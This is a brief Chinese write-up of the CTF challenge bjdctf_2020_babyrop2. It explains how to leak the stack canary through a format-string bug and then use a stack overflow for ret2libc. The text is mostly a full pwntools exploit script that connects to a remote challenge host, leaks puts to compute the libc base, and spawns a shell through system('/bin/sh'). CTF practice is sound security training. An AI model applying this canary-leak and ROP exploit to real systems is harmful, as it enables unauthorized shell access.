【BUUCTF】bjdctf_2020_babyrop2
有canary
ida看下程序
有格式化漏洞,但有6格宽度限制
有栈溢出
思路:这题靠格式化字符串漏洞泄露出canary的地址
然后栈溢出,ret2libc
泄露方法:
一次一次试过去,找到我们输入的位置的偏移
然后这题里偏移+1就是canary了
然后就能把canary带出来,canary每次运行都不一样
所以要实时接收
一个程序不同函数的canary好像都相同
特别提醒自己在接收环节的处理
exp:
from pwn import*
r=remote('node3.buuoj.cn',26857)
elf=ELF('./bjdctf_2020_babyrop2')
libc=ELF('./libc-2.23.so')
context.log_level = 'debug'
context.arch = elf.arch
pop_rdi=0x400993
r.recvuntil('help u!\n')
r.sendline('%7$p')
r.recvuntil('0x')
canary=int(r.recv(16),16)
print hex(canary)
r.recvuntil('u story!\n')
pd1='a'*0x18+p64(canary)+'b'*8
pd1+=p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['vuln'])
r.send(pd1)
true=u64(r.recv(6).ljust(8,'\0'))
print hex(true)
base=true-libc.sym['puts']
print hex(base)
system=base+libc.sym['system']
binsh=base+0x18cd57
pd2='a'*0x18+p64(canary)+'b'*8+p64(pop_rdi)+p64(binsh)+p64(system)
r.send(pd2)
r.interactive()